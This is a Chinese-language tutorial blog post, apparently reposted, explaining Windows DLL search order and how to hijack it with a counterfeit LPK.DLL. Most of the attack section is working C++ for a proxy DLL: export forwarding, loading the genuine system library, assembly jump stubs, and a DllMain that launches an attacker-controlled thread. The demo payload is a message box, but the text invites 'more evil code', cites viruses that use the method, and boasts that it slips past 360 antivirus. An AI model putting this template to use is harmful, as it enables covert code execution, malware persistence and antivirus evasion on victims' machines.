说起DLL劫持技术,相信大家都不会陌生,因为这种技术的应用比较广泛,比如木马后门的 启动、破解程序的内存补丁、外挂插件的注入以及加密狗的模拟等。之所以DLL劫持技术深受黑客们的喜爱,主要是因为该技术可以有效的躲过大部分杀软,并且实现起来技术难度不大。DLL劫持技术也不是什么新技术,记得在《Windows核心编程》中也有提及相关技术。可是对我们广大初学者来说,DLL劫持技术就显得很神秘了,本系列教程将向大家详细讲解什么是DLL劫持、DLL劫持的形成原因及原理、最后还会以实例向大家讲解如何通过编程实现DLL劫持。

背景知识

首先我们要了解Windows为什么可以DLL劫持呢?主要是因为Windows的资源共享机制。为了尽可能多得安排资源共享,微软建议多个应用程序共享的任何模块应该放在Windows的 系统目录中,如kernel32.dll,这样能够方便找到。但是随着时间的推移,安装程序会用旧文件或者未向后兼容的新文件来替换系统目录下的文件,这 样会使一些其他的应用程序无法正确执行,因此,微软改变了策略,建议应用程序将所有文件放到自己的目录中去,而不要去碰系统目录下的任何东西。
为了提供这样的功能,在Window2000开始,微软加了一个特性,强制操作系统的加载程序首先从应用程序目录中加载模块,只有当加载程序无法在应用程序目录中找到文件,才搜索其他目录。利用系统的这个特性,就可以使应用程序强制加载我们指定的DLL做一些特殊的工作。
举个例子来说吧,Windows的系统目录下有一个名为LPK.DLL的系统文件,程序运行时会在c:\Windows\system32文件夹下找到这个DLL文件并加载它。如打开记事本程序,用进程管理工具可以显示记事本进程加载的所有模块。

例如,c:\Windows\system32\LPK.DLL是记事本加载的DLL之一。

什么是DLL劫持

根据前面说的Windows资 源共享机制,操作系统加载程序首先从应用程序目录中加载模块。

这一特性在注册表中也有体现:HKLM\System\CurrentControlSet \Control\Session Manager\SafeDllSearchMode,

如果为1,搜索的顺序为:应用程序所在目录->系统目录(用 GetSystemDirectory获取)->16位系统目录->Windows目 录(用GetWindowsDirectory获取)->运行程序的当前目录->PATH环境变量,

如果为0,搜索顺序为:应用程序所在目录 ->运行程序的当前目录->系统目录(用GetSystemDirectory获取)->16位系统目录->Windows目录(用GetWindowsDirectory获取)->PATH环境变量。

Windows Server 2003默认值为1,Windows XP/2000默认值为0或者没有这个键值。

但是不管是哪种情况,第一个搜索的肯定是应用程序的所在目录,这样就有机会让应用程序去加载我们的DLL。如 果这个DLL和系统目录下的某个DLL同名,导出表也相同,功能就是加载系统目录下的那个DLL,并且将导出表转发到那个真实的DLL。这时DLL劫持就 发生了。可以看出,构造一个符合上面要求的DLL,再将其放在可执行文件的目录即可轻松实现DLL劫持了。

这一步我们的工作就是通过编程来实现一个LPK.DLL文件,它与系统目录下的LPK.DLL导出表相同,并能加载系统目录下的LPK.DLL,并且能将导出表转发到真实的LPK.DLL。可以看出我们要实现的这个DLL需求如下:
1、构造一个与系统目录下LPK.DLL一样的导出表;
2、加载系统目录下的LPK.DLL;
3、将导出函数转发到系统目录下的LPK.DLL上;
4、在初始化函数中加入我们要执行的代码。
我们使用VC++来进行开发,首先是定义导出函数。核心代码如下:

[cpp] view plaincopy
  1. #pragma comment(linker, "/EXPORT:LpkInitialize=_gamehacker_LpkInitialize,@1")
  2. #pragma comment(linker, "/EXPORT:LpkTabbedTextOut=_gamehacker_LpkTabbedTextOut,@2")
  3. #pragma comment(linker, "/EXPORT:LpkDllInitialize=_gamehacker_LpkDllInitialize,@3")
  4. #pragma comment(linker, "/EXPORT:LpkDrawTextEx=_gamehacker_LpkDrawTextEx,@4")
  5. #pragma comment(linker, "/EXPORT:LpkExtTextOut=_gamehacker_LpkExtTextOut,@6")
  6. #pragma comment(linker, "/EXPORT:LpkGetCharacterPlacement=_gamehacker_LpkGetCharacterPlacement,@7")
  7. #pragma comment(linker, "/EXPORT:LpkGetTextExtentExPoint=_gamehacker_LpkGetTextExtentExPoint,@8")
  8. #pragma comment(linker, "/EXPORT:LpkPSMTextOut=_gamehacker_LpkPSMTextOut,@9")
  9. #pragma comment(linker, "/EXPORT:LpkUseGDIWidthCache=_gamehacker_LpkUseGDIWidthCache,@10")
  10. #pragma comment(linker, "/EXPORT:ftsWordBreak=_gamehacker_ftsWordBreak,@11")

以上是导出表中的函数,LPK.DLL比较特殊,在导入表中有一项不是函数是数据,因此数据这部分要单独处理。核心代码如下:

[cpp] view plaincopy
  1. EXTERNC void __cdecl gamehacker_LpkEditControl(void);
  2. EXTERNC __declspec(dllexport) void (*LpkEditControl[14])() = {gamehacker_LpkEditControl};

LpkEditControl这个数组有14个成员,如上定义即可,后面我们还需要将真正的数据复制过来。
加载系统目录下的LPK.DLL。核心代码如下:

[cpp] view plaincopy
  1. inline BOOL WINAPI Load()
  2. {
  3. TCHAR tzPath[MAX_PATH];
  4. TCHAR tzTemp[MAX_PATH * 2];
  5. GetSystemDirectory(tzPath, MAX_PATH);
  6. lstrcat(tzPath, TEXT("\\lpk"));
  7. m_hModule=LoadLibrary(tzPath);
  8. return (m_hModule != NULL);
  9. }

在代码中可以看到,使用LoadLibrary方式加载系统目录下的LPK.DLL。加载完成后就要实现导出函数的转发了,这步是很关键的。
首先要获得原函数地址。核心代码如下:

[cpp] view plaincopy
  1. FARPROC WINAPI GetAddress(PCSTR pszProcName)
  2. {
  3. FARPROC fpAddress;
  4. CHAR szProcName[16];
  5. TCHAR tzTemp[MAX_PATH];
  6. fpAddress = GetProcAddress(m_hModule, pszProcName);
  7. return fpAddress;
  8. }

然后将我们构造的导出函数一一转发。核心代码如下:

[cpp] view plaincopy
  1. ALCDECL gamehacker_LpkInitialize(void)
  2. {
  3. GetAddress("LpkInitialize");
  4. __asm JMP EAX;
  5. }
  6. ALCDECL gamehacker_LpkTabbedTextOut(void)
  7. {
  8. GetAddress("LpkTabbedTextOut");
  9. __asm JMP EAX;
  10. }
  11. ALCDECL gamehacker_LpkDllInitialize(void)
  12. {
  13. GetAddress("LpkDllInitialize");
  14. __asm JMP EAX;
  15. }
  16. ALCDECL gamehacker_LpkDrawTextEx(void)
  17. {
  18. GetAddress("LpkDrawTextEx");
  19. __asm JMP EAX;
  20. }
  21. ALCDECL gamehacker_LpkEditControl(void)
  22. {
  23. GetAddress("LpkEditControl");
  24. __asm jmp DWORD ptr [EAX];
  25. }
  26. ALCDECL gamehacker_LpkExtTextOut(void)
  27. {
  28. GetAddress("LpkExtTextOut");
  29. __asm JMP EAX;
  30. }
  31. ALCDECL gamehacker_LpkGetCharacterPlacement(void)
  32. {
  33. GetAddress("LpkGetCharacterPlacement");
  34. __asm JMP EAX;
  35. }
  36. ALCDECL gamehacker_LpkGetTextExtentExPoint(void)
  37. {
  38. GetAddress("LpkGetTextExtentExPoint");
  39. __asm JMP EAX;
  40. }
  41. ALCDECL gamehacker_LpkPSMTextOut(void)
  42. {
  43. GetAddress("LpkPSMTextOut");
  44. __asm JMP EAX;
  45. }
  46. ALCDECL gamehacker_LpkUseGDIWidthCache(void)
  47. {
  48. GetAddress("LpkUseGDIWidthCache");
  49. __asm JMP EAX;
  50. }
  51. ALCDECL gamehacker_ftsWordBreak(void)
  52. {
  53. GetAddress("ftsWordBreak");
  54. __asm JMP EAX;
  55. }

转发完之后不要忘记LpkEditControl哦,要将真实数据复制过来。核心代码如下:

[cpp] view plaincopy
  1. memcpy((LPVOID)(LpkEditControl+1), (LPVOID)((int*)GetAddress("LpkEditControl") + 1),52);

好了,到这里整个DLL劫持基本就算完成了,也许你要问,那我们要执行的代码写在哪里?我的方法是将其写到初始化函数中。这样当DLL被加载的时候就会执行。下面看一下DLL的入口函数吧。

[cpp] view plaincopy
  1. BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
  2. {
  3. if (dwReason == DLL_PROCESS_ATTACH)
  4. {
  5. DisableThreadLibraryCalls(hModule);
  6. if(Load())
  7. {
  8. memcpy((LPVOID)(LpkEditControl+1), (LPVOID)((int*)GetAddress("LpkEditControl") + 1),52);
  9. _beginthread(Init,NULL,NULL);
  10. }
  11. else
  12. return FALSE;
  13. }
  14. else if (dwReason == DLL_PROCESS_DETACH)
  15. {
  16. Free();
  17. }
  18. return TRUE;
  19. }

在这个函数中我们看到,当加载系统目录下的LPK.DLL成功后,进行了LpkEditControl数组的复制,并通过_beginthread(Init,NULL,NULL);定义了初始化函数Init,而这个初始化函数是由我们控制的。
下面在初始化函数Init中写入测试代码如下:

[cpp] view plaincopy
  1. void WINAPIV Init(LPVOID pParam);
  2. void WINAPIV Init(LPVOID pParam)
  3. {
  4. TCHAR tzPath[MAX_PATH];
  5. TCHAR tzTemp[MAX_PATH * 2];
  6. wsprintf(tzTemp, TEXT("劫持函数运行了......."), tzPath);
  7. MessageBox(NULL, tzTemp, TEXT("gamehacker"), MB_ICONSTOP);
  8. return;
  9. }

我们用弹出一个对话框来检测一下劫持的效果,当然你也可以加入更加邪恶的代码。猫癣、犇牛等病毒都是利用DLL劫持技术破坏系统的。
看一下效果。将编译好的LPK.DLL复制到记事本相同目录,然后运行记事本程序。看看是不是弹出来可爱的测试窗?
当然你也可以将这个LPK.DLL复制到任何程序的目录,只要该目录的程序一运行,就会执行我们的代码。如果代码的功能是连续弹出N个测试窗,我想一定会让人很崩溃。
DLL劫持技术的基本原理和简单实现就讲到这里了。在测试的时候发现360安全卫士并没有拦截我们的代码,看来利用DLL劫持是可以过360检测的。

原文地址:http://www.xiajc.com/article/html/344.html

DLL劫持技术详解(lpk.dll)相关推荐

  1. 转帖:DLL劫持技术详解(lpk.dll)

    说起DLL劫持技术,相信大家都不会陌生,因为这种技术的应用比较广泛,比如木马后门的启动.破解程序的内存补丁.外挂插件的注入以及加密狗的模拟等.之所以DLL劫持技术深受黑客们的喜爱,主要是因为该技术可以 ...

  2. 系统安全攻防战:DLL注入技术详解

    DLL注入是一种允许攻击者在另一个进程的地址空间的上下文中运行任意代码的技术.攻击者使用DLL注入的过程中如果被赋予过多的运行特权,那么攻击者就很有可能会在DLL文件中嵌入自己的恶意攻击代码以获取更高 ...

  3. DLL的远程注入技术详解

    DLL的远程注入技术详解 2008-12-01 20:28 DLL的远程注入技术是目前Win32病毒广泛使用的一种技术.使用这种技术的病毒体通常位于一个DLL中, 在系统启动的时候,一个EXE程序会将 ...

  4. Windows 下的 7 种 DLL 劫持技术

    本文讲的是Windows 下的 7 种 DLL 劫持技术,在本文中,我将列出半打可以在Windows运行用户模式的进程中使用DLL注入技术.也许可能会有更多类似的技术,但我正在和你分享的是我所拥有的第 ...

  5. .NET DLL 保护措施详解(四)各操作系统运行情况

    我准备了WEB应用程序及WinForm应用程序,分别在WIN SERVER 2012/2008/2003.Win7/10上实测,以下为实测结果截图: 2012 2008 2003 WIN7 WIN10 ...

  6. 一种通用DLL劫持技术研究

    通用DLL劫持技术研究 by anhkgg 2018年11月29日 写在前面 Dll劫持相信大家都不陌生,理论就不多说了.Dll劫持的目的一般都是为了自己的dll模块能够在别人进程中运行,然后做些不可 ...

  7. mfc编程vc6.0实现进程的创建和通信_免费送书:windows黑客编程技术详解

    01 书怎么送 点赞并留言,关注在下面的公众号后台回复「抽奖」,弹出小程序后点击参与. 开奖时间是 7 月 7 号 20:00 ,一定要留意微信消息,如果你中奖了,请尽快在中奖页面提交收件人信息并备注 ...

  8. 《Windows驱动开发技术详解》学习笔记

    Abstract   如果推荐 Windows 驱动开发的入门书,我强烈推荐<Windows驱动开发技术详解>.但是由于成书的时间较早,该书中提到的很多工具和环境都已不可用或找不到,而本文 ...

  9. 内网安全:隧道技术详解

    目录 隧道技术 反向连接技术 反向连接实验所用网络拓扑图及说明 网络说明 防火墙限制说明 实验前提说明 实战一:CS反向连接上线 - 拿下Win2008 一. 使用转发代理上线创建监听器 二. 上传后 ...

最新文章

  1. python使用matplotlib可视化、查看matplotlib中常用的线条形式(line style)和数据点标记形状(marker)
  2. 【数据结构总结】第四章:串、数组和广义表(线性结构)
  3. 读他:男人最怕听的十句话
  4. 2821: 作诗(Poetize)
  5. 年终总结系列2:人人都在讲的全面风险管理,真的做到了吗?
  6. 网络安全——内网渗透完整流程
  7. Unity3D实战【一】Create Project 创建项目导入素材
  8. 小米10获取root权限_安卓刷机搞机小能手必备的三款root神器 最后一款你肯定用过...
  9. 不平衡数据对于卷积神经网络的影响
  10. python猜硬币正反面_python 编写猜硬币小游戏
  11. python知识点总结2
  12. php opc数据,OPC连接获取数据
  13. java审计之XXE
  14. 乐视手机调用自启动管理, 乐视手机调用应用权限管理
  15. [PWN][基础篇]基础理论
  16. 仿天猫商城html网页源码
  17. Python3基础教程2——Python的标准数据类型
  18. 使用MOB免费短信验证码进行登录(注册)
  19. foxmail7导入导出数据
  20. linux命令简化,Linux ls 命令实现(简化版)

热门文章

  1. 导数和梯度,切线和法向量
  2. android底部弹出滚轮,Android-PickerView-master
  3. NTKO OFFICE控件手动安装, 解决IE浏览器无法加载 Activex 控件的解决办法
  4. ai作文批改_AI批改作文到底靠不靠谱
  5. 西门子PLC 1214C 做的压机控制 可以在触摸屏上任意编辑压装逻辑
  6. uniapp-request请求思维导图
  7. C# Winform开发 文件夹的删除
  8. C语言程序设计精髓习题总汇
  9. SQLServer2008密钥
  10. android中根据城市选择学校,如何根据城市发展来选择学校?